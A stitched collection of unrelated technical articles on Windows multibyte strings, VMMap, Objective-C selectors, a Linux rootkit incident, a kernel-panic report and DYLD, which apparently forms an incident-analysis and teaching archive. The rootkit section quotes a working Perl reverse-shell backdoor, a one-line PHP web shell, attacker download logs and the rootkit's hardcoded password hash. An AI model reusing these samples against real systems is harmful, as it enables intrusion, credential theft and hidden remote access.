>  `#include <mbctype.h>`  
>  `#include <stdio.h>`
> `int main(int argc, char *argv[])`  
>  `{`  
>  ` setlocale(LC_ALL, "Chinese_Taiwan");`  
>  ` _setmbcp(_MB_CP_LOCALE);`  
>  ` printf("%d\n", _getmbcp());`  
>  ` return 0;`  
>  `}`
It is trivial to mention that the `_getmbcp` function is used to get the code
page:

**int \_getmbcp\(void\);**

    Returns the current multibyte code page.
There are many `_ismbb` routines provided for byte classification. They are
both implemented as functions and macros. For macro versions, Microsoft uses a
look-up array `_mbctype` to get indexed attrbutes and then uses bit masks to
get the needed information. The bit masks are `_MS` \(0x01\), `_MP` \(0x02\),
`_M1`\(0x04\), `_M2` \(0x08\), `_SBUP` \(0x10\), and `_SBLOW` \(0x20\). The
`_ismbb`macros uses a way such as `((_mbctype+1)[(unsigned char)(_c)] &
_Bitmask_)` to test:

  * `_ismbbkalnum` tests with `_MS`
  * `_ismbbkprint` tests with `(_MS|_MP)`
  * `_ismbbkpunct` tests with `_MP`
  * `_ismbbkana` tests with `(_MS|_MP)` \(CP 932 only\)
  * `_ismbblead` tests with `_M1`
  * `_ismbbtrail` tests with `_M2`

The other `ismbb _xxx_` functions combines `ismbbk _xxx_` function and `is
_xxx_` function together. E.g. `ismbbalnum(_c)` is defined as
`(((_ctype+1)[(unsigned char)(_c)] & (_ALPHA|_DIGIT))||_ismbbkalnum(_c))`.

Of these routines I only want to explain `ismbblead` and `ismbbtrail`. The
former tests whether an integer is the first byte of a multibyte character,
and the latter tests whether an integer is the second byte of a multibyte
character. The functions `_ismbslead` and `_ismbstrail` \(they have no inline
versions\) are also interesting that they test whether a given character in a
string is lead byte or trail byte depending on context. For example,

> `#include <mbctype.h>`  
>  `#include <stdio.h>`
> `int main(int argc, char *argv[])`  
>  `{`  
>  ` char s[] = "\326\354"; /* ZHU1 */`  
>  ` _setmbcp(936); /* Chinese GBK */`  
>  ` printf("%d\n", _ismbblead(s[1]));`  
>  ` printf("%d\n", _ismbslead(s, &s[1]));`  
>  ` return 0;`  
>  `}`
The output is 4 \(or 1 if use the function version of `_ismbblead`\) and 0,
which shows that 0354 \(0xEC\) can be the lead byte in a Chinese string, but
here it is not the lead byte.

More interesting multibyte string functions are defined in mbstring.h. They
include equivalents to standard string routines \(taking into account the
properties of multibyte characters\), character type routines, and conversion
routines. We shall name one from each category for explanation.

**size\_t \_mbslen\(const unsigned char** \*_string_**\);**

    Returns the number of multibyte characters in  _string_.
It is similar to `strlen`, but it returns the number of multibyte characters
instead of number of single-byte characters. For example,

> `#include <mbctype.h>`  
>  `#include <mbstring.h>`  
>  `#include <stdio.h>`  
>  `#include <string.h>`
> `int main(int argc, char *argv[])`  
>  `{`  
>  ` char s[] = "\326\354"; /* ZHU1 */`  
>  ` _setmbcp(936); /* Chinese GBK */`  
>  ` printf("%d\n", strlen(s));`  
>  ` printf("%d\n", _mbslen(s));`  
>  ` return 0;`  
>  `}`
The output is 2 and 1. Another `_mbstrlen` \(defined in stdlib.h\) use the
locale \(instead of code page\) information to count the number of multibyte
characters.

**int \_mbbtype\(unsigned char** _c_**, int** _type_**\);**

    Returns the type of a byte.
The return values is defined in mbctype.h:

  * `_MBC_SINGLE = 0 `denotes valid single byte char
  * `_MBC_LEAD = 1 `denotes lead byte
  * `_MBC_TRAIL = 2 `denotes trailing byte
  * `_MBC_ILLEGAL = (-1) `denotes illegal byte

For detailed usage, please consult MSDN.

**size\_t mbstowcs\(wchar\_t** \*_wcstr_**, const char** \*_mbstr_**,
size\_t** _count_**\);**

    Converts a sequence of multibyte characters to a corresponding sequence of wide characters.
Let's see the example now:

> `/* mbstowcs.c - Demonstration of the mbstowcs function */`
> `#include <stdio.h>`  
>  `#include <stdlib.h>`  
>  `#include <locale.h>`
> `int main()`  
>  `{`  
>  ` wchar_t wcstr[64];`  
>  ` char mbstr[] = "ABC - A Unicode conversion test";`  
>  ` size_t n, i;`
> ` // Set locale to the codepage of Simplified Chinese`  
>  ` //`  
>  ` // NB: mbstowcs is affected by locale information. By the way, the`  
>  ` // MBSTOWCS example given in MSDN makes no sense at all.`  
>  ` //`  
>  ` setlocale(LC_ALL, "English");`
> ` // Convert the string`  
>  ` n = mbstowcs(wcstr, mbstr, _mbstrlen(mbstr));`
> ` // Output the Unicode string to the screen`  
>  ` for( i = 0; i < n; i++ )`  
>  ` printf( "%.4X\t", wcstr[i] );`
> ` return 0;`  
>  `}`
The output is

> `0041 0042 0043 0020 002D 0020 0041 0020 0055 006E`  
>  `0069 0063 006F 0064 0065 0020 0063 006F 006E 0076`  
>  `0065 0072 0073 0069 006F 006E 0020 0074 0065 0073`  
>  `0074`
It seems logical, but not very interesting, right? I originally used Chinese
characters, but Chinese characters cannot display in a ISO-8859-1 page :-\(.
However, if you are using a Far East-capable version of Windows \(I confirmed
that English Windows 95 will not do\), you may try giving a suitable value to
`mbstr`, and setting the appropriate locale. The result will be more
interesting.

OK. I am a little tired now. Enough for today.

2001-12-16, written by Wu Yongwei

# VMMap

**Created:**| _5/27/2009 10:51:45 AM_  
---|---  
**Updated:**| _5/27/2009 10:51:54 AM_  
**Author:**| __  
**Tags:**| _windows security security tools Exploit_  
  

# VMMap v1.1

## By Mark Russinovich and Bryce Cogswell

Published: April 22, 2009

##  
Introduction

VMMap is a process virtual and physical memory analysis utility. It shows a
breakdown of a process's committed virtual memory types as well as the amount
of physical memory \(working set\) assigned by the operating system to those
types. Besides graphical representations of memory usage, VMMap also shows
summary information and a detailed process memory map. Powerful filtering and
refresh capabilities allow you to identify the sources of process memory usage
and the memory cost of application features.

Besides flexible views for analyzing live processes, VMMap supports the export
of data in multiple forms, including a native format that preserves all the
information so that you can load back in. It also includes command-line
options that enable scripting scenarios.

VMMap is the ideal tool for developers wanting to understand and optimize
their application's memory resource usage.

**Screenshot**

  

<img src='img/Temp2_8795.gif' />**Download VMMap**  
**\(312 KB\)**

**Run VMMap** now from Live.Sysinternals.com

# Cocoa with Love: A big weakness in Objective-C's weak typing

**Created:**| _1/3/2013 1:50:23 PM_  
---|---  
**Updated:**| _1/3/2013 1:50:23 PM_  
**Author:**| __  
**Tags:**| _programming Mac-hacking bughunting_  
  

# A big weakness in Objective-C's weak typing****

We generally assume that we can send any message we want to a variable in our
code typed as "`id`" and Objective-C's dynamic message handling will make the
invocation work correctly at runtime**.** In some rare cases, this assumption
is wrong. I'll look at situations where you need to be careful about sending
messages to "`id`" typed variables and a situation where a limitation in the
Objective-C language requires a hideous workaround to avoid serious bugs**.**

#### Introduction****

We generally assume we can send any message we like to an "`id`" variable \(or
a `Class` variable\)**.** In fact, that's the real purpose of the "`id`" type:
it is the "any" type in Objective-C to which any Objective-C message may be
sent**.**

We use this in lots of different situations but one of the most common is
sending messages to objects store in an `NSArray`:

`NSString` `*description = [[someArray` `objectAtIndex``:``0``]`
`substringFromIndex``:``5``];`  
---  
In this code sample, we don't need to cast the result of the `objectAtIndex:`
invocation to an `NSString` before sending it the `substringFromIndex:`
message — we know that as long as the object at index 0 actually is an object
that responds to the `substringFromIndex:` selector, it will work**.**

> This post is about invoking methods on either of Objective-C's two "weak"
> types: `id` or `Class`**.** This post does not apply if the variable you
> invoke a method on is typed to anything else \(even `id<SomeProtocol>` will
> count as "anything else" and avoid the issues in this post\)**.**
#### False assumptions****

The false assumption often applied here is that the compiler doesn't need to
know any type information**.** In reality, even though the method lookup
happens at runtime, that's only enough to ensure the correct method is
invoked, it is not enough to ensure the parameters will work**.**

The compiler definitely does need to infer _some_ information about the method
signature involved**.** Even though the compiler does not necessarily need to
know the type of the `id`, it does need to know the byte lengths of all
parameters and the explicit type of any return values**.** This is because
marshalling of the parameters \(pushing and popping them from the stack\) is
configured at compile time**.**

Normally, we don't need to take any steps for this to happen though**.** The
parameter information is obtained by looking at the name of the method you're
trying to invoke, searching through the included headers for methods matching
the invoked method name and then getting the parameter lengths from the first
matching method it finds**.**

99.99% of the time, there's no problem with this: even if there's ambiguity
about the exact method you're really targeting, the parameters are likely to
be the same between matching method because method names in Objective-C
generally imply the types of the data, so this type of conflict is likely to
cause no difference in signature**.**

And then there's that other 0.01% of the time..**.**

#### Catastrophic failure****

Imagine you have class `MyClass` with an instance method named `currentPoint`
that returns an `int`**.** You want to get the `currentPoint` from an object
stored in an array, so you use the code:

`int` `result = [[someArray` `objectAtIndex``:``0``]` `currentPoint``];`  
---  
When you run the code, you know the exact value returned from invoking
`currentPoint` on the first object in the array should be zero \(because you
set it to zero and you can see in the debugger that it is still zero\) but the
value that ends up in the `result` is 2,147,483,647 \(or some other partial
garbage value\)**.**

#### What has gone wrong?

The correct method is invoked at runtime**.** The problem is that the compiler
marshalled the parameters for this invocation incorrectly leading to data
corruption of the return type**.**

The compiler needs to push parameters onto the stack correctly before the
message send and perform the message send using the correct variant of
`objc_msgSend` to get the return value back afterwards**.** This is what has
failed.

The compiler prepares parameters using the method signature \(which it gets by
looking at the type of the receiver and all method names that are valid for
the receiver\) and trying to work out which method you're likely to be
invoking**.** Since the type of the receiver \(i.e**.** the result from
`objectAtIndex:`\) is just `id` then we have no explicit type information so
the compiler will look through the list of all known methods**.**

Unfortunately, instead of our `MyClass` method, the compiler decided to match
against the `NSBezierPath` method named `currentPoint` and has prepared the
parameters to match that method's signature**.** The `NSBezierPath` method
returns an `NSPoint` which is a `struct` and handles the return parameter very
differently compared to the `int` parameter our real method actually uses**.**
This has lead to our return type getting corrupted**.**

> I use the example of a `struct` value return type here because it is the
> most likely to generate a bug, since a struct return type causes the
> compiler to generate an `objc_msgSend_stret` for the message invocation
> instead of a regular `objc_msgSend`**.** However, it is also possible to
> create problems with non-return parameters of different lengths,
> particularly if the conflict is between floating point and non-floating
> point parameters or `struct` and non-`struct` parameters**.**
#### Fixing the problem \(most of the time****\)

The best way to fix the problem is to add additional type information about
the receiver, so that there will only be 1 possible match for the method
name**.**

We do this by casting the receiver:

`int` `result = [(``MyClass` `*)[someArray` `objectAtIndex``:``0``]`
`currentPoint``];`  
---  
A `MyClass` receiver has only one match for `currentPoint` so there is no
possible conflict with the `NSBezierPath` method and the problem here is
solved**.**

#### Why is this allowed to happen? Why isn't there a compiler error**?**

Technically, there is a compiler warning that will alert you to this category
of problem**.** The compiler warning "Strict Selector Matching" \(a**.**
k.a**.** -Wstrict-selector-match\) will tell you when there is a conflict
between two different method names when you're invoking a method on either of
Objective-C's two weak types \(`id` or `Class`\)**.**

It would be great if Strict Selector Matching always worked and we could turn
it on at all times**.** That Apple don't turn it on by default is either
because they consider the problem rare enough to ignore or it is an admission
of the significant limitations of the warning as it currently behaves:

  1. **It will over-warn you****.** Basically, there's no reason to care if there is a conflict between two methods different but totally compatible method signatures but this compiler warning will still occur**.**
  2. Plenty of **Apple's own methods will cause spurious warnings** due to point \(1\)**.** I'm looking at you, different implementations of `objectForKey:`, `count` and most methods in `NSNotificationCenter` versus `NSDistributedNotificationCenter`**.** These spurious warnings may force you to carefully typecast large numbers of method calls that won't actually cause any problem**.**
  3. **It will not warn you about conflicts between a class and instance methods****.** This one is a bit absurd since a `Class` object is regularly handled as a generic `id`**.**
  4. **It won't help if you haven't imported the correct definition at all****.** If you failed to import the declaration of the correct method but you did import the declaration of a different method with a matching name but different signature, then I'm not sure the compiler _could_ warn you about this problem**.**

#### A scenario where casting won't fix the problem****

Imagine in the example above, the problem was between two _class_ methods,
instead of two _instance_ methods**.**

i.e. instead of a conflict between `-[NSBezierPath currentPoint]` and
`-[MyClass currentPoint]`, the conflict was between `+[NSBezierPath
currentPoint]` and `+[MyClass currentPoint]`**.**

For the instance methods, we fixed the problem by casting to the specific
object type required but when your objects are both Class, it is not possible
to cast to the specific Class involved**.** Seriously: you cannot cast classes
in Objective-C.

I consider this a serious failing of Objective-C**.** It makes avoiding this
scenario with conflicting class method names hideous**.** If you're not able
to change the name of the method, then the only work around looks like this:

`int` `result = objc_msgSend([someArray` `objectAtIndex``:``0``],
``@selector``(currentPoint));`  
---  
That's right: we would need to bypass the compiler entirely and insert the
`objc_msgSend` call ourselves**.**

It gets worse though, since `objc_msgSend` uses a variable argument list by
default, if the parameters you need to pass/receive from `objc_msgSend` are
not signature compatible with a variable argument list, then you'll need to
fully cast the `objc_msgSend` yourself to make certain that the parameters are
passed correctly:

`SomeReturnType` `result =``((SomeReturnType(*)(``id``, ``SEL``, ``float``,
``short``, WeirdStruct))objc_msgSend)``(``[someArray`
`objectAtIndex``:``0``],``@selector``(methodWithMultipleVariables:thatAreNot:varArgCompatible:),``someFloat,``someShort,``someWeirdStruct``);`  
---  
And if `SomeReturnType` is a struct, you'll need to use `objc_msgSend_stret`
instead and for floating point types, you'll need to use
`objc_msgSend_fpret`**.**

#### Conclusion****

I would like to give a blanket suggestion that you switch on "Strict Selector
Matching" in your Workspace/Project/Target settings for every project but
unfortunately, the limitations of this warning make that suggestion
difficult**.**

Spurious warnings from Apple's code, every time you try to use `objectForKey:`
\(or a large group of other methods\) on an `id` typed variable can be
infuriating and pointlessly increase your workload**.**

The warning doesn't catch all problems because it doesn't check conflicts
between methods in the `Class` and `id` spaces**.** Along with the spurious
warnings nuisance, the argument that you could skip the warning itself \(and
simply keep this potential problem in mind as a potential issue\) is probably
valid**.**

The warning itself should be fixed in GCC and Clang to make it useable enough
to leave on in all situations**.** It shouldn't give a warning when the
parameters in conflicting signatures are compatible**.** It should also gain
cross checking between `Class` and `id` when the type in the code is `id`**.**

And Objective-C really needs a way to declare a type that is a specific
`Class`**.** Even syntax as ugly as @classtype\(SomeClass\) would do it but
I'm sure something more graceful could be found**.**

I've seen people argue that if you ever require a specific `Class` then you're
designing things badly**.** I think the bugs caused by method name conflicts
are a situation where you may not \(if you can't rename either method\) be
able to cleanly design your way around this serious problem without the
ability to cast a Class to something more specific**.**

In addition to allowing a conflict between two `Class` methods to be resolved
more gracefully it would also help in the unrelated situation where a method
wants a `Class` object passed as a parameter but that `Class` must be a
subclass of a specific class**.**

****

# There’s a rootkit in the closet\! | Into.the.Void.
**Created:**| _3/14/2010 8:40:22 AM_  
---|---  
**Updated:**| _3/14/2010 8:40:44 AM_  
**Author:**| __  
**Tags:**| _rootkits commandline-kungfu analysis_  
  

### There’s a rootkit in the closet\!

_**Part 1: Finding the rootkit**_

It’s monday morning and I am for coffee in downtown Thessaloniki, a partner
calls:  
\- On machine XXX mysqld is not starting since Saturday.  
\- Can I drink my coffee and come over later to check it ? Is it critical ?  
\- Nope, come over anytime you can…

Around 14:00 I go over to his company to check on the box. It’s a debian
oldstable \(etch\) that runs apache2 with xoops CMS + zencart \(version
unknown\), postfix, courier-imap\(s\)/pop3\(s\), bind9 and mysqld. You can
call it a LAMP machine with a neglected CMS which is also running as a
mailserver…

I log in as root, I do a  _ps ax_ and the first thing I notice is apache
having more than 50 threads running. I shut apache2 down via
_/etc/init.d/apache2 stop_. Then I start poking at mysqld. I can’t see it
running on ps so I try starting it via the init.d script. Nothing…it hangs
while trying to get it started. I suspect a failing disk so I use  _tune2fs -C
50 /dev/hda1_ to force an e2fck on boot and I reboot the machine. The box
starts booting, it checks the fs, no errors found, it continues and hangs at
starting mysqld. I break out of the process and am back at login screen. I
check the S.M.A.R.T. status of the disk via  _smartctl -a /dev/hda_ , all
clear, no errors found. Then I try to start mysqld manually, it looks like it
starts but when I try to connect to it via a mysql client I get no response. I
try to move  _/var/lib/mysql/_ files to another location and to re-init the
mysql database. Trying to start mysqld after all that, still nothing.

Then I try to downgrade mysql to the previous version. Apt-get process tries
to stop mysqld before it replaces it with the older version and it hangs, I
try to break out of the process but it’s impossible…after a few  _killall -9
mysqld\_safe;killall -9 mysql; killall -9 mysqladmin_ it finally moves on but
when it tries to start the downgraded mysqld version it hangs once again.
That’s totally weird…

I try to  _ldd /usr/sbin/mysqld_ and I notice a very strange library named
**/lib/ld-linuxv.so.1** in the output. I had never heard of that library name
before so I google. Nothing comes up. I check on another debian etch box I
have for the output of ldd /usr/sbin/mysqld and no library /lib/ld-linuxv.so.1
comes up. I am definitely watching something that it shouldn’t be there. And
that’s a **rootkit**\!

I ask some friends online but nobody has ever faced that library rootkit
before. I try to find that file on the box but it’s nowhere to be seen inside
/lib/…the rootkit hides itself pretty well. I can’t see it with  _ls /lib_ or
_echo /lib/\*_. The rootkit has probably patched the kernel functions that
allow me to see it. Strangely though I was able to see it with ldd \(more
about the technical stuff on the second half of the post\). I try to check on
some other executables in /sbin with a  _for i in /usr/sbin/\*;do ldd $i;
done_ , all of them appear to have /lib/ld-linuxv.so.1 as a library
dependency. I try to reboot the box with another kernel than the one it’s
currently using but I get strange errors that it can’t even find the hard
disk.

I try to downgrade the “working” kernel in an attempt of booting the box
cleanly without the rootkit. I first take backups of the kernel and initramfs
which are about to be replaced of course. When apt-get procedure calls
mkinitramfs in order to create the initramfs image I notice that there are
errors saying that it can’t delete  _/tmp/mkinitramfs\_UVWXYZ/lib/ld-
linuxv.so.1_ file, so rm fails and that makes mkinitramfs fail as well.

I decide that I am doing more harm than good to the machine at the time and
that I should first get an image of the disk before I fiddle any more with it.
So I shut the box down. I set up a new box with most of the services that
should be running \(mail + dns\), so I had the option to check on the disk
with the rootkit on my own time.

_**Part 2: Technical analysis**_  
**I. First look at the ld-linuxv.so.1 library**

A couple of days later I put the disk to my box and made an image of each
partition using dd:  
`dd if=/dev/sdb1 of=/mnt/image/part1 bs=64k`

Then I could mount the image using loop to play with it:  
`mount -o loop /mnt/image/part1 /mnt/part1`

A simple ls of /mnt/part1/lib/ revealed that ld-linuxv.so.1 was there. I run
strings to it:  
`# strings /lib/ld-linuxv.so.1  
__gmon_start__  
_init  
_fini  
__cxa_finalize  
_Jv_RegisterClasses  
execve  
dlsym  
fopen  
fprintf  
fclose  
puts  
system  
crypt  
strdup  
readdir64  
strstr  
__xstat64  
__errno_location  
__lxstat64  
opendir  
login  
pututline  
open64  
pam_open_session  
pam_close_session  
syslog  
vasprintf  
getspnam_r  
getspnam  
getpwnam  
pam_authenticate  
inssh  
gotpass  
__libc_start_main  
logit  
setuid  
setgid  
seteuid  
setegid  
read  
fwrite  
accept  
htons  
doshell  
doconnect  
fork  
dup2  
stdout  
fflush  
stdin  
fscanf  
sleep  
exit  
waitpid  
socket  
libdl.so.2  
libc.so.6  
_edata  
__bss_start  
_end  
GLIBC_2.0  
GLIBC_2.1.3  
GLIBC_2.1  
root  
@^_]  
`^_]  
ld.so.preload  
ld-linuxv.so.1  
_so_cache  
execve  
/var/opt/_so_cache/ld  
%s:%s  
Welcome master  
crypt  
readdir64  
__xstat64  
__lxstat64  
opendir  
login  
pututline  
open64  
lastlog  
pam_open_session  
pam_close_session  
syslog  
getspnam_r  
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0  
getspnam  
getpwnam  
root  
/dev/null  
normal  
pam_authenticate  
pam_get_item  
Password:  
__libc_start_main  
/var/opt/_so_cache/lc  
local  
/usr/sbin/sshd  
/bin/sh  
read  
write  
accept  
/usr/sbin/crond  
HISTFILE=/dev/null  
%99s  
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0  
/bin/sh`

As one can easily see there’s some sort of password hash inside and references
to /usr/sbin/sshd, /bin/sh and setting HISTFILE to /dev/null.

I took the disk image to my friend argp to help me figure out what exactly the
rootkit does and how it was planted to the box.

**II. What the rootkit does**

Initially, while casually discussing the incident, kargig and myself \(argp\)
we thought that we had to do with a kernel rootkit. However, after carefully
studying the disassembled dead listing of ld-linuxv.so.1, it became clear that
it was a shared library based rootkit. Specifically, the intruder created the
/etc/ld.so.preload file on the system with just one entry; the path of where
he saved the ld-linuxv.so.1 shared library, namely /lib/ld-linuxv.so.1. This
has the effect of preloading ld-linuxv.so.1 every single time a dynamically
linked executable is run by a user. Using the well-known technique
of**dlsym\(RTLD\_NEXT, symbol\)** , in which the run-time address of the
symbol after the current library is returned to allow the creation of
wrappers, the ld-linuxv.so.1 shared library trojans \(or hijacks\) several
functions. Below is a list of some of the functions the shared library hijacks
and brief explanations of what some of them do:  
`crypt  
readdir64  
__xstat64  
__l xstat64  
opendir  
login  
pututline  
open64  
pam_open_session  
pam_close_session  
syslog  
getspnam_r  
getspnam  
getpwnam  
pam_authenticate  
pam_get_item  
__libc_start_main  
read  
write  
accept`

The hijacked accept\(\) function sends a reverse, i.e. outgoing, shell to the
IP address that initiated the incoming connection at port 80 only if the
incoming IP address is a specific one. Afterwards it calls the original
accept\(\) system call. The hijacked getspnam\(\) function sets the encrypted
password entry of the shadow password structure \(struct spwd->sp\_pwdp\) to a
predefined hardcoded value \(“$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0”\). The
hijacked read\(\) and write\(\) functions of the shared library wrap the
corresponding system calls and if the current process is ssh \(client or
daemon\), their buffers are appended to the file **/var/opt/\_so\_cache/lc
**for outgoing ssh connections, or to**/var/opt/\_so\_cache/ld** for incoming
ones \(sshd\). These files are also kept hidden using the same approach as
described above.

**III. How the rootkit was planted in the box**

While argp was looking at the objdump output, I decided to take a look at the
logs of the server. The first place I looked was the apache2 logs. Opening
/mnt/part1/var/log/apache2/access.log.\* didn’t provide any outcome at first
sight, nothing really striking out, but when I opened
/mnt/part1/var/log/apache2/error.log.1 I faced these entries at the bottom:

> –01:05:38– http://ABCDEFGHIJ.150m.com/foobar.ext  
> => \`foobar.ext’  
> Resolving ABCDEFGHIJ.150m.com… 209.63.57.10  
> Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.  
> HTTP request sent, awaiting response… 200 OK  
> Length: 695 \[text/plain\]  
> foobar.ext: Permission denied
> Cannot write to \`foobar.ext’ \(Permission denied\).  
> –01:05:51– http://ABCDEFGHIJ.150m.com/foobar.ext  
> => \`foobar.ext’  
> Resolving ABCDEFGHIJ.150m.com… 209.63.57.10  
> Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.  
> HTTP request sent, awaiting response… 200 OK  
> Length: 695 \[text/plain\]
> 0K 100% 18.61 MB/s
> 01:05:51 \(18.61 MB/s\) – \`foobar.ext’ saved \[695/695\]
> –01:17:14– http://ABCDEFGHIJ.150m.com/foobar.ext  
> => \`foobar.ext’  
> Resolving ABCDEFGHIJ.150m.com… 209.63.57.10  
> Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.  
> HTTP request sent, awaiting response… 200 OK  
> Length: 695 \[text/plain\]  
> foobar.ext: Permission denied
> Cannot write to \`foobar.ext’ \(Permission denied\).  
> –01:17:26– http://ABCDEFGHIJ.150m.com/foobar.ext  
> => \`foobar.ext’  
> Resolving ABCDEFGHIJ.150m.com… 209.63.57.10  
> Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.  
> HTTP request sent, awaiting response… 200 OK  
> Length: 695 \[text/plain\]
> 0K 100% 25.30 MB/s
> 01:17:26 \(25.30 MB/s\) – \`foobar.ext’ saved \[695/695\]
So this was the entrance point. Someone got through a web app to the box and
was able to run code.  
I downloaded “foobar.ext” from the same url and it was a perl script.

> \#\!/usr/bin/perl  
> \# Data Cha0s Perl Connect Back Backdoor Unpublished/Unreleased Source  
> \# Code
> use Socket;
> print “\[\*\] Dumping Arguments\n”;
> $host = “A.B.C.D”;  
> $port = XYZ;
> if \($ARGV\[1\]\) \{  
> $port = $ARGV\[1\];  
> \}  
> print “\[\*\] Connecting…\n”; $proto = getprotobyname\(‘tcp’\) ||
> die\(“\[-\] Unknown Protocol\n”\);
> socket\(SERVER, PF\_INET, SOCK\_STREAM, $proto\) || die \(“\[-\] Socket
> Error\n”\);
> my $target = inet\_aton\($host\);
> if \(\!connect\(SERVER, pack “SnA4×8″, 2, $port, $target\)\) \{  
> die\(“\[-\] Unable to Connect\n”\);  
> \}  
> print “\[\*\] Spawning Shell\n”;
> if \(\!fork\( \)\) \{  
> open\(STDIN,”>&SERVER”\);  
> open\(STDOUT,”>&SERVER”\);  
> open\(STDERR,”>&SERVER”\);  
> exec \{‘/bin/sh’\} ‘-bash’ . “\0″ x 4;  
> exit\(0\);  
> \}
Since I got the time when foobar.ext was downloaded I looked again at the
apache2 access.log to see what was going on at the time.  
Here are some entries:

> A.B.C.D – - \[15/Aug/2009:01:05:33 +0300\] “GET http://www.domain.com/admin/
> HTTP/1.1″ 302 – “-” “Mozilla Firefox”  
> A.B.C.D – - \[15/Aug/2009:01:05:34 +0300\] “POST
> http://www.domain.com/admin/record\_company.php/password\_forgotten.php?action=insert
> HTTP/1.1″ 200 303 “-” “Mozilla Firefox”  
> A.B.C.D – - \[15/Aug/2009:01:05:34 +0300\] “GET
> http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 131 “-” “Mozilla
> Firefox”  
> A.B.C.D – - \[15/Aug/2009:01:05:38 +0300\] “GET
> http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 – “-” “Mozilla
> Firefox”  
> A.B.C.D – - \[15/Aug/2009:01:05:47 +0300\] “GET
> http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 52 “-” “Mozilla
> Firefox”  
> A.B.C.D – - \[15/Aug/2009:01:05:50 +0300\] “GET
> http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 – “-” “Mozilla
> Firefox”  
> A.B.C.D – - \[15/Aug/2009:01:05:51 +0300\] “GET
> http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 59 “-” “Mozilla
> Firefox”
The second entry, with the POST looks pretty strange. I opened the
admin/record\_company.php file and discovered that it is part of zen-cart. The
first result of googling for “zencart record\_company” is this: Zen Cart
‘record\_company.php’ Remote Code Execution Vulnerability. So that’s exactly
how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:  
`<?php system($_SERVER["HTTP_SHELL"]); ?>`  
This code allows running commands using the account of the user running the
apache2 server.

_**Part 3: Conclusion and food for thought**_  
**To conclude on what happened:**  
1\) The attacker used the **zencart** vulnerability to create the
**imagedisplay.php** file.  
2\) Using the imagedisplay.php file he was able to make the server download
**foobar.ext** from his server.  
3\) Using the imagedisplay.php file he was able to run the server run
foobar.ext which is a **reverse shell**. He could now connect to the machine.  
4\) Using some **local exploit**\(s\) he was probably able to become root.  
5\) Since he was root he uploaded/compiled **ld-linuxv.so.1** and he created
**/etc/ld.so.preload**. Now every executable would first load this “trojaned”
library which allows him backdoor access to the box and is hidding from the
system. So there is his rootkit <img src='img/Temp2_8362.gif' alt=':)' />

Fortunately the rootkit had problems and if /var/opt/\_so\_cache/ directory
was not manually created it couldn’t write the lc and ld files inside it. If
you created the \_so\_cache dir then it started logging.

If there are any more discoveries about the rootkit they will be posted in a
new post. If someone else wants to analyze the rootkit I would be more than
happy if he/she put a link to the analysis as a comment on this blog.

_**Part 4: Files**_

In the following tar.gz you will find the ld-linuxv.so.1 library and the perl
script foobar.ext \(Use at your own risk. Attacker’s host/ip have been removed
from the perl script\):**linuxv-rootkit.tar.gz**

**Many many thanks** to argp of Census Labs

# LKML: Timo Jyrinki: Simultaneous cat and external keyboard input causing
kernel panic

**Created:**| _11/10/2011 3:10:44 PM_  
---|---  
**Updated:**| _11/10/2011 3:10:44 PM_  
**Author:**| __  
**Tags:**| _Linux Fuzzer LOLZ_  
  

[code]

    Hi,  
      
    I encountered a kernel panic with the 3.1.0 kernel on a Dell Latitude  
    E6410 while inputting simultaneously from the integrated keyboard with  
    a cat and from the external keyboard myself. I was trying to type my  
    password with the external keyboard (pw dialog already visible), but I  
    noticed that the computer didn't seem responsive to my typing. Then  
    suddenly the cat shifted his position and there was a kernel panic  
    involving input handling. I'm now using i8042.nokbd kernel parameter  
    as a workaround, something I've found useful also earlier.  
      
    I wonder if anyone else is experiencing similar problems? This didn't  
    seem to happen with 3.0, which was the first kernel version I used on  
    this E6410. Although it has to be noted that the internal keyboard  
    input was not yet as heavy either at that time. Please test if you can  
    reproduce the problem.  
      
    Photos of the panic at http://people.debian.org/~timo/kernelpaniccat/.  
    The first one was taken about ten seconds after the panic and shows  
    the original cat positioning. The two other ones show alternative  
    possible positions together with more of the panic text. There is also  
    one photo showing the pre-crash setup, which I happened to take  
    without anticipating a panic. The similar but black input weight was  
    not in use.  
      
    The kernel was tainted because the Intel "mei" module from staging was  
    loaded. The kernel used was the final 3.1 from the ubuntu mainline ppa  
    archives for amd64.  
      
    Thank you,  
      
    Timo Jyrinki
[/code]

# DYLD DetaYLeD

**Created:**| _11/6/2013 10:04:04 AM_  
---|---  
**Updated:**| _11/6/2013 10:04:04 AM_  
**Author:**| __  
**Tags:**| _asm reversing intermediate languages_  
  

# **D** YLD Detailed****

#### Jonathan Levin, http://newosxbook.com/ - 8/12/13****

## 1**.** About****

While maintaining and adding more functionality to JTool, I found myself
deeply bogged down in implementing support for Mach-O's LINKEDIT sections,
LC\_SYMTAB, and other arcane and relatively undocumented corners of DYLD**.**
Add to that, DYLD has been relatively skimmed in my book \*, and not much in
that of my predecessor**.** Scouring the Internet with Google finds only one
decent reference1, though it's woefully incomplete and basically just rehashes
stuff from the book**.** Needless to say Apple makes no effort to provide
documentation outside its "Mach-O Programming Topics"2 document, which is by
now very dated**.** What better way, then, to right a wrong and shed some
light on it, than an article**?**

#### Why should you care? \(Target Audience****\)

I said so in the book, and I'll state it again - There is no knowledge that is
not power, and in the case of linking - we're talking about a lot of
power**.** Virtually every binary run in OS X or iOS is dynamically linked,
and being able to intervene in the linking process bestows significant
capabilities - function interception, auditing and hooking, being the most
important ones**.** Reverse engineers, security-oriented developers \(i**.**
e. Anti-Malware\) and hackers will hopefully find this information very
useful**.** It should be noted that dyld allows for hooking and interception
via environment variables - most notably DYLD\_INSERT\_LIBRARIES \(akin to
ld's LD\_PRELOAD\) and DYLD\_LIBRARY\_PATH \(like ld's LD\_LIBRARY\_PATH\),
and its function interposing mechanism**.** These are covered in the book
\(somewhere in Chapter 4, with a demo on this website3 \), and are therefore
not discussed in this document**.**

